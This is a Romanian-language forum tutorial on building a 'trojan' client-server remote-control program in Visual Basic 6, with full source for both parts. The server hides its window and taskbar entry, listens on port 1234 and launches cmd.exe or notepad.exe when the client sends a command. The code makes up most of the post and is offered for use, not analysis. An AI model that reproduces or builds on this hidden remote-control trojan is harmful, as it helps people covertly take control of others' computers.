welcome here ;)
poti gasi aici o parte din ce am adunat io dealungul timpului. credit la tot ce e pe acest forum : google
|
Nou pe simpatie:
just_iulia la Simpatie.ro
 | Femeie
25 ani
Giurgiu
cauta Barbat
26 - 48 ani |
|
|
welcome here ;)ReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
|
| #1 |
|
|
Cum sa faci trojan Client-Server ( PC Control ) in visual basic
1. Client
In client punem un Textbox pentru IP si un buton Command1 pentru conectare . Nu schimbati numele butonului si textboxului . Schimbati numai Captionu . Schimbati numele daca schimbati si codul . Mai punem 2 butoane : unu care va deschide cmd si unu care va deschide notepad .
Pentru a va putea conecta la ip vostru puteti scrie la IP 127.0.0.1
In Form punem urmatorul cod
Code: Select all
Private Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = 1234
Winsock1.Connect
End Sub
Private Sub Command2_Click()
Winsock1.SendData "2"
End Sub
Private Sub Command3_Click()
Winsock1.SendData "3"
End Sub
Private Sub Winsock1_Connect()
Form1.Caption = "Conectat la IP" & Text1.Text
End Sub
Apoi dam click dreapta sub ToolsBox si dam click pe Components , selectam Microsoft Winsock Control 6.0 si dam Apply .
In ToolBox jos ne va aparea o iconita cu 2 calculatoare . Dam click pe iconita si punem un in Form .
Cam asta e tot pentru client . File >> Make Project1.exe si salvam clientu .
2. Server
Facem la fel ca la client : dam click dreapta sub ToolBox >> Components si selectam Microsoft Winsock Control 6.0 si dam Apply . Si punem un winsock in Form .
Apoi punem in server urmatorul cod :
Code: Select all
Private Sub Form_Load()
App.TaskVisible = False
Me.Hide
If App.PrevInstance = True Then
Unload Me
End If
Winsock1.LocalPort = 1234
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data
If data = "2" Then
On Error Resume Next
Shell ("C:\WINDOWS\system32\cmd.exe")
End If
If data = "3" Then
On Error Resume Next
Shell ("C:\WINDOWS\system32\notepad.exe")
End If
End Sub
Si salvam ca server-ul .
Cam asta e tot . Pentru a testa intrati mai intai in sever ( calculatorul nu va pati nimic ) . Apoi intrati in client , la IP scrieti 127.0.0.1 sau IP vostru si dati click pe primul buton . Daca titlul clientului va fi "Conectat la IP 127.0.0.1 ... " inseamna ca merge . Si apasati apoi din client butoanele 2 si 3 . La apasarea butonului 2 se va deschide cmd iar la apasarea butonului 3 se va deschide notepad . Daca s-au deschis inseamna ca merge .
|
|
| |
|
